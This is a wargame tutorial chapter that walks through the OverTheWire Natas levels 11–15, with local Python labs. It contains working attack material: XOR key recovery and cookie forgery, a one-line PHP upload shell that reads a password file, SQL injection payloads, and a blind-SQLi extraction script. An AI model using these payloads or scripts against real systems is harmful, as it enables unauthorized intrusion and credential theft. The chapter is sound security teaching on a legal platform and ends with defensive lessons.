Step 104. Natas 11~15 — XOR Analysis and Your First SQL Injection
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3.5 hours
Prerequisites: the XOR experiments from Step 90, SQL basics from Steps 92~93, and the Natas reconnaissance routine and cookie manipulation experience from Steps 102~103.
- What you need: a browser and developer tools (Application tab), Python 3, and your Natas account (the password chain acquired in Step 102).
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Note: every Natas server solution screen is a Screen example. You make the server connections yourself. On the other hand, the principles of XOR key recovery and SQL injection can actually be run on your own computer, and this chapter proves those parts with measurements.
Through Step 103 we trained "the eye that reads server code." Starting today we go beyond reading and directly manipulate the server’s crypto and queries. Natas 11~15’s five gates are really two big mountains — first, the XOR cipher you learned as a toy in Step 90 appears in the field, and the fact that "knowing both the plaintext and the ciphertext yields the key" becomes a weapon. Second, you’ll succeed for the first time at the throne of web hacking: SQL injection.
It’s normal for this stretch to feel hard. For the first time, "cryptographic analysis" and "query-syntax manipulation" are demanded at once. But both mountains’ core principles fit in one line each — A ⊕ B = K, and a single ' changes a query’s grammar.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Recover the key from a repeating-key XOR cipher with a known-plaintext attack
- Forge a cookie with the recovered key and swap it in via developer tools
- Explain why
' OR '1'='1bypasses authentication, walking through the query’s transformation - Explain the true/false oracle principle of Blind SQLi and write an extraction-automation script
- Explain the principle of bypassing file-upload validation (extension swapping)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Browser developer tools + Python 3 (standard library base64, json, sqlite3) |
| Today’s commands/code | Python ^ (XOR), base64.b64decode/b64encode, assembling sqlite3 query strings, requests (for server automation) |
| Concepts needed | repeating-key XOR, known-plaintext attack, cookie forgery, SQL string-concatenation vulnerability, true/false oracle (Blind SQLi) |
| Today’s artifact | xor_key_recover.py (key recoverer), blind_sim.py (Blind extraction simulator), the Natas 11→16 password chain |
2-1. The Known-Plaintext Attack — A ⊕ B = K
We use the property you memorized in Step 90 in reverse. If encryption is plaintext ⊕ key = ciphertext, then plaintext ⊕ ciphertext = key. The key you couldn’t know from the ciphertext alone pops right out the moment you know — or can guess — the plaintext.
Natas 11 is exactly this situation. The server XOR-encrypts default data (JSON) and hands it to you as a cookie. The default data is written in the source code (plaintext), and my cookie is in my hand (ciphertext) — XOR the two and out comes the key. With the key, you can encrypt exactly like the server, and from that moment the cookie becomes whatever letters you write.
If the key is shorter than the data, the key repeats (repeating-key XOR). If the recovered keystream shows the same chunk repeating, like qw8Jqw8Jqw8J..., that chunk is the key.
2-2. Cookie Forgery — The Decisive Case of Distrusting the Client
Bring back the First Principle from Steps 102~103: a value entrusted to the client belongs to the client. A cookie is a value stored in your browser, so you can rewrite it at will in the developer tools Application tab. If the server believed "the cookie is encrypted, so it’s safe," breaking that belief is today’s attack.
2-3. SQL Injection — The Rebellion of a Single Quote
Recall the queries you learned in Steps 92~93. Suppose the server code behind a login form looks roughly like this.
SELECT * FROM users WHERE username = 'input' AND password = 'input'
The problem is that the input is glued directly into the string. Feed it ' OR '1'='1 and the query transforms like this.
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ...
The ' I inserted closed the original opening quote, and the OR '1'='1' after it is always true. The whole WHERE clause becomes "either the name is empty, or 1=1" — every row passes the condition. Input becoming not data but part of the query’s grammar — this is SQL injection. A sibling grown from exactly the same root as Step 103’s command injection (the mixing of code and data).
2-4. Blind SQLi — When the Answer Isn’t Shown, Split the Question
Natas 15 doesn’t show results on screen. Whether the query is true or false — only the presence or absence of the phrase "This user exists" comes back. The technique used here is Blind SQLi. Instead of asking for the whole password at once, you ask one character at a time, in true/false form.
natas16" AND password LIKE BINARY "a%
If this input is true, you’ve obtained the answer "the password starts with a." Sweep a through z, A~Z, 0~9, and the first character is settled; append it and ask about the second character. 32 characters × 62 symbols = at most about 2,000 requests — manual work is impossible; a script is essential. That is this level’s real assignment.
3. Follow Along
3-1. Natas 11: Securing the Plaintext from the Source (Server, Screen Example)
Connect to http://natas11.natas.labs.overthewire.org and press "View sourcecode."
How to read it: find three things in the source.
$defaultdata = array("showpassword"=>"no", "bgcolor"=>"#ffffff");— this is the plaintext- The function that XOR-encrypts the cookie (
xor_encrypt) - The fact that the cookie’s data determines
showpassword
You know the plaintext, and your cookie (ciphertext) can be copied from the developer tools Application tab. The ingredients are gathered.
3-2. XOR Key Recovery — Local Measurement
We reproduce the same structure as the server’s encryption on our own computer, proving that key recovery really works. Write xor_key_recover.py.
"""Known-plaintext attack: repeating-XOR key recovery (Natas 11 style)."""
import base64
import json
# --- 'Server' role: make a cookie with repeating-key XOR, like the real Natas 11 ---
SECRET_KEY = b"qw8J" # assumed unknown to the attacker
def xor_repeat(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def make_cookie(payload: dict) -> str:
plain = json.dumps(payload).encode()
return base64.b64encode(xor_repeat(plain, SECRET_KEY)).decode()
# --- from here on, the attacker's perspective ---
default_plain = json.dumps({"showpassword": "no", "bgcolor": "#ffffff"}).encode()
cipher = base64.b64decode(make_cookie({"showpassword": "no", "bgcolor": "#ffffff"}))
# plaintext XOR ciphertext = the repeating key
keystream = bytes(p ^ c for p, c in zip(default_plain, cipher))
print("Recovered keystream:", keystream)
key = keystream[:4] # once the repeating unit is visible, that's the key
print("Key candidate:", key)
print("Verification decryption:", xor_repeat(cipher, key).decode())
# encrypt forged data with the key → forged cookie
forged = {"showpassword": "yes", "bgcolor": "#ffffff"}
forged_cookie = base64.b64encode(xor_repeat(json.dumps(forged).encode(), key)).decode()
print("Forged cookie (base64):", forged_cookie)
# check how the server interprets this cookie (verify in the server role)
decoded = json.loads(xor_repeat(base64.b64decode(forged_cookie), SECRET_KEY))
print("Result the server decrypted:", decoded)
Output (measured 2026-09-09, Python 3.12):
Recovered keystream: b'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8J'
Key candidate: b'qw8J'
Verification decryption: {"showpassword": "no", "bgcolor": "#ffffff"}
Forged cookie (base64): ClVLIh4ASCsCBE8lAxMacFFVQS8CVRRqUxVfKR4bVzhTTRhoUhFeLBcRXmgM
Result the server decrypted: {'showpassword': 'yes', 'bgcolor': '#ffffff'}
How to read it: qw8J repeats plainly in the keystream — those four letters are the key. Encrypting data with showpassword changed to yes using that key, the result the server decrypted became the value we wanted. Encrypted, yes — but powerless the moment the plaintext is known — that is this cipher’s true substance.
Why: on the actual Natas 11, put the source’s default JSON in this script’s default_plain slot and your cookie in the cipher slot — done. If the JSON’s spacing or key order differs from the source’s by even one character, the key breaks — the trick is to copy the string written in the source wholesale.
3-3. Swapping in the Forged Cookie (Server, Screen Example)
Copy the forged cookie string you made in 3-2. In developer tools → Application → Cookies, overwrite that cookie’s value and refresh.
Screen example:
The password for natas12 is <32-character string>
How to read it: the server decrypted the cookie you made with its own key and read showpassword=yes. The fact that a cookie is a value entirely in the client’s hands rendered the barrier of encryption meaningless.
3-4. Natas 12~13: File-Upload Bypass (Server, Screen Example)
These two levels are a pair. There’s an image-upload form, and the source shows that the saved filename and extension are decided by values the client sends.
Procedure (using the developer tools Network tab):
- Send a request uploading any file, then copy that request and edit it
- Change the filename to
shell.phpand the contents to the one line below
<?php echo file_get_contents('/etc/natas_webpass/natas13'); ?>
- On sending, the server tells you the path where it saved it (Screen example:
upload/xxxx.php) - Visit that address and the PHP executes on the server, displaying the password
How to read it: the server said "I’ll accept an image," but it never checked what the file actually was — it trusted only the name. A file saved as .php executes as code on the server the moment it’s visited. Natas 13 adds a "check whether it’s an image," but it only looks at the front of the content (the magic number) — prepend JPEG header bytes before your code and it passes. If the check is ‘verify only a part,’ the bypass is ‘disguise only that part.’
3-5. Natas 14: First SQL Injection (Server + Local Measurement)
There’s a login form. Reading the query in the source, the input goes in via string concatenation.
Input on the server (username field):
" OR 1=1 #
Natas 14 wraps values in double quotes — check the quote type in the server source. # is SQL’s comment, nullifying the rest of the condition (the password comparison) wholesale. Screen example: "Successful login!" and the next password.
We prove this principle with sqlite3 on our own computer. sqli_lab.py:
"""SQL injection principle experiment — the moment input changes the query."""
import sqlite3
con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute("INSERT INTO users VALUES ('admin', 's3cret_password_0426')")
cur.execute("INSERT INTO users VALUES ('alice', 'applepie')")
user_input = "alice"
query = f"SELECT * FROM users WHERE username = '{user_input}'"
print("Normal query:", query)
print("Result:", cur.execute(query).fetchall())
user_input = "' OR '1'='1"
query = f"SELECT * FROM users WHERE username = '{user_input}'"
print()
print("Injection query:", query)
rows = cur.execute(query).fetchall()
print("Result row count:", len(rows))
print("Result:", rows)
Output (measured 2026-09-09):
Normal query: SELECT * FROM users WHERE username = 'alice'
Result: [('alice', 'applepie')]
Injection query: SELECT * FROM users WHERE username = '' OR '1'='1'
Result row count: 2
Result: [('admin', 's3cret_password_0426'), ('alice', 'applepie')]
How to read it: read the injection query’s WHERE clause out loud — "username is an empty string, OR 1 equals 1." The latter being always true, every row came out, and the first row held the secret. In your write-up, following Step 103’s habit, record the pair my input / final query.
3-6. Natas 15: Blind SQLi — Observe the Oracle First (Server, Screen Example)
Enter natas16 in the form and you get "This user exists."; enter a nonexistent name and you get "This user doesn’t exist." The output has only these two branches — this is the oracle (a true/false answering device).
Confirm the oracle by hand. Input:
natas16" AND password LIKE BINARY "a%
- If "exists" comes out, the first-character candidate is in the a family
- If "doesn’t exist" comes out, move to the next character
Since case must be distinguished, we use LIKE BINARY (this level has a double-quote structure). Do only this observation by hand, then hand the extraction over to a script.
3-7. The Blind Extraction Principle — Local Simulator Measurement
Verify the entire extraction algorithm without a network. blind_sim.py:
"""Blind SQLi extraction simulator — pull 32 characters out of a single oracle."""
import sqlite3
import string
con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute("INSERT INTO users VALUES ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')")
cur.execute("PRAGMA case_sensitive_like = ON") # same effect as MySQL's LIKE BINARY
def oracle(prefix: str) -> bool:
"""Server role: identical to printing 'This user exists.' when true."""
q = ("SELECT * FROM users WHERE username = 'natas16' "
f"AND password LIKE '{prefix}%'")
return len(cur.execute(q).fetchall()) > 0
charset = string.ascii_letters + string.digits
known = ""
queries = 0
while True:
for ch in charset:
queries += 1
if oracle(known + ch):
known += ch
break
else: # swept all 62 with no true — done
break
print("Extraction result:", known)
print("Query count:", queries)
Output (measured 2026-09-09):
Extraction result: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Query count: 890
How to read it: without ever once asking "show me the answer," we obtained all 32 characters. Split the question, and information leaks out through a true/false signal alone — this is why Blind-family vulnerabilities are "dangerous even with no output on screen." On the actual Natas 15, only the oracle function needs to become a requests call. The skeleton looks like this (a Screen example since it needs the server — the logic is identical to the simulator above):
import requests, string
def oracle(prefix):
url = "http://natas15.natas.labs.overthewire.org/"
auth = ("natas15", "natas15's password")
data = {"username": f'natas16" AND password LIKE BINARY "{prefix}%'}
r = requests.post(url, auth=auth, data=data)
return "exists" in r.text
Just note that HTTP Basic authentication (auth=) must be attached instead of a session cookie.
4. Missions & Exercises
Mission — Clearing Both Crypto Manipulation and Query Manipulation
- Clear all of Natas 11~15 and acquire the natas16 password
- Solve Natas 11 with a key-recovery script you wrote yourself, and quote the repeating segment of the recovered keystream in your write-up
- Run
sqli_lab.pyandblind_sim.pylocally and capture the results - Organize each level’s "my input / final result" in your wiki, and for Natas 14 and 15, reconstruct as strings how the server’s query was transformed
Exercises
Exercise 1. Explain, using XOR’s properties, why the key is recovered when you know part of the plaintext and the ciphertext in repeating-key XOR. How do you estimate the key length?
Exercise 2. Write out the final query with ' OR '1'='1 injected, and explain, via the WHERE clause’s evaluation order, why every row is returned.
Exercise 3. Natas 14 wraps values in double quotes — why does a single-quote injection (' OR '1'='1) fail? When it fails, what should the attacker check next?
Exercise 4. Calculate the maximum number of requests needed to extract a 32-character password in Blind SQLi, based on a 62-symbol charset, and explain why this makes "a script essential."
5. Model Answers & Completion Criteria
Mission Model Answer
One-line summary per level (server solutions based on the Screen examples):
natas11: default JSON (plaintext) ⊕ cookie (ciphertext) = recover the repeating key → forge showpassword=yes
natas12: forge the uploaded filename to .php → code executes by visiting the saved path
natas13: JPEG magic-number disguise + .php extension → same attack after bypassing the check
natas14: " OR 1=1 # → authentication bypass (double-quote structure)
natas15: LIKE BINARY oracle + extraction script → 32-character password
How to verify: ① in the 3-2 script, does "Verification decryption" match the original JSON — mathematical proof the key is right. ② in 3-5, does the injection query’s result row count exceed the normal query’s (1 row → 2 rows in the 2026-09-09 measurement)? ③ does the 3-7 simulator extract all 32 characters without error? ④ does the query reconstruction in your wiki match the quote positions in the server source?
Exercise Answers
Answer 1. XOR gives plaintext ⊕ key = ciphertext, and XORing both sides with the plaintext yields key = plaintext ⊕ ciphertext (XOR is self-inverting: A ⊕ A = 0). Looking at the recovered keystream, the same chunk repeats — just as the 4 bytes qw8J repeated in the 2026-09-09 measurement — and the repetition period is the key length.
Answer 2. The final query is WHERE username = '' OR '1'='1'. OR is true if even one side is true, and '1'='1' is true for every row. So the condition effectively becomes "always true," returning the entire table — the evidence being that the result came out as all 2 rows in the 3-5 measurement.
Answer 3. Because my single quote becomes an ordinary character inside the double quotes, failing to change the query’s grammar: username = "' OR '1'='1" — it’s just a string value. On failure, the standard move is to check the wrapping quote type in the source (or an error message) and retry with ". The fact that quote types differ per server is where SQLi beginners get stuck most.
Answer 4. At worst 62 tries per character, so 32 × 62 = at most 1,984 requests (the 2026-09-09 simulator measurement took 890). Even on average it needs around 1,000 requests, so manual work is effectively impossible — a script wrapping the oracle call in a loop is essential.
Completion Criteria Checklist
- [ ] I can explain the known-plaintext attack (
plaintext ⊕ ciphertext = key) in one sentence - [ ] I ran the XOR key-recovery script myself and produced the key and a forged cookie
- [ ] I can demonstrate the procedure for swapping a cookie in developer tools
- [ ] I can reconstruct as strings how
' OR '1'='1transforms the query - [ ] I can explain the principle of the file-upload bypass (extension & magic-number disguise)
- [ ] I can explain the Blind SQLi oracle’s principle and the need for automation
- [ ] Mission: I completed the Natas 11→16 chain and organized my write-up
6. Common Pitfalls & Fixes
Wall 1. The keystream doesn’t repeat and broken characters appear
Symptom (of the family seen in the 2026-09-09 measurement when the JSON was retyped by hand):
Recovered keystream: b'w;E\x1bO6\x12qw8Jqw8J...'
Cause: the JSON you supplied as plaintext differs from the server’s — spacing, key order, a single quote off, and the key at those positions breaks. If you see qw8J repeating toward the back, the plaintext at the front is wrong.
Fix: copy-paste the default data string from the source code. The moment you retype it by hand, the JSON’s whitespace changes.
Wall 2. The forged cookie gets no reaction
Symptom: you changed the cookie but the page stays the same.
Cause: you didn’t refresh after changing the cookie, the edit wasn’t confirmed (Enter) in the Application tab, or you touched a cookie for a different domain.
Fix: keep the order edit → Enter → F5, and in the Network tab confirm that the Cookie: value in the request header really went out changed.
Wall 3. My SQL injection input "just gets searched"
Symptom: entering ' OR '1'='1 yields only login failure.
Cause: the server wraps in double quotes and you used a single quote (Exercise 3). Or the server escapes input.
Fix: read the query line in the source character by character and confirm the wrapping quote. In the field, where there’s no source, enter just one quote (' or ") to induce an error, and judge from the query fragment leaking out in the error message.
Wall 4. The Blind script loops forever or stops midway
Symptom: extraction breaks off partway or repeats the same character.
Cause: you forgot case sensitivity (LIKE BINARY), or the judgment string ("exists") is also partially contained in "doesn’t exist," flipping the verdict.
Fix: make the judgment use a long phrase like "This user exists" across all of r.text. Short words appear in negative sentences too. Verify the logic in the simulator (3-7) first, then move it to the server — debugging goes much faster.
Wall 5. My requests get a 401 or an empty response
Symptom (Screen example): 401 Unauthorized.
Cause: your script’s request lacks authentication. Natas requires HTTP Basic authentication on every request.
Fix: specify auth explicitly, like requests.post(url, auth=("natas15", "password"), data=...). What the browser attached automatically, a script must take care of itself.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Known-plaintext attack | plaintext ⊕ ciphertext = key — the fatal reversal of XOR ciphers |
| Repeating-key XOR | a cipher reusing a short key — the keystream’s repetition confesses the key |
| Cookie forgery | the client’s value is written by the client — encryption is meaningless if the key leaks |
| SQL injection | input promoted into query grammar — one quote changes the condition |
| Blind SQLi | a technique extracting one character at a time via true/false signals instead of output |
| Oracle | the server’s reaction that answers true/false (the presence of "exists") |
| File-upload bypass | if only the name/headers are checked, disguise only the name/headers to pass |
Today’s Commands and Code
| Command/code | What it does |
|---|---|
bytes(p ^ c for p, c in zip(plaintext, ciphertext)) |
recover the keystream from a plaintext-ciphertext pair |
base64.b64decode(cookie) |
unwrap the cookie’s packaging |
key[i % len(key)] |
indexing for repeating-key XOR |
' OR '1'='1 / " OR 1=1 # |
swap the condition / comment out the tail |
LIKE BINARY 'a%' |
case-sensitive prefix matching (Blind oracle) |
requests.post(url, auth=..., data=...) |
automated requests with authentication |
An Instinct More Important Than Commands
Today’s five levels thread into one sentence — if you can see the ingredients the server uses in its calculations, those calculations become yours. See the plaintext and the XOR key comes out; see the query’s shape and the condition changes; see a true/false reaction and the secret leaks one character at a time. Conversely, the defender’s sentences sharpen too: never keep secrets on the client (server-side sessions); never glue input into queries (prepared statements); check uploads for both content and executability; remember that differences in errors and reactions are also information. The four sentences learned through attack become, as-is, a defense checklist.
Once every box is checked, Step 104 is complete. Click the checkbox in the sidebar to save your progress.